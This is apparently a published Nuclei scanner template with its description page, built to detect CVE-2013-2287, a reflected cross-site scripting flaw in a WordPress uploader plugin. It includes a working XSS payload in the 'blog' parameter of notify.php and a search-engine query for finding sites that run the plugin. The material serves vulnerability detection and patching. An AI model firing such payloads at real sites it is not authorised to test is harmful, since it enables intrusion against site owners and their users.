WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting

ID: CVE-2013-2287

Severity: medium

Author: daffainfo

Tags: cve,cve2013,wordpress,xss,wp-plugin,roberta_bramski,intrusive

Description

Multiple cross-site scripting vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter.

YAML Source

id: CVE-2013-2287

info:
  name: WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting  vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Plugin Uploader or apply a patch provided by the vendor to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-2287
    - https://www.dognaedis.com/vulns/DGS-SEC-16.html
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-2287
    cwe-id: CWE-79
    epss-score: 0.00219
    epss-percentile: 0.59874
    cpe: cpe:2.3:a:roberta_bramski:uploader:1.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "roberta_bramski"
    product: uploader
    google-query: "inurl:\"/wp-content/plugins/uploader\""
  tags: cve,cve2013,wordpress,xss,wp-plugin,roberta_bramski,intrusive
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/uploader/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Uploader'
          - "Tags:"
        condition: and

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022052e5ba7a867f6e9bb1c23db4ab4c7c2d8f7fab3d4d2e5b889de39ed028ff5490022100ace38537769bab8b599c9f978a66542d0acf078996f47dcf82964f49c50f2f55:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2013/CVE-2013-2287.yaml"

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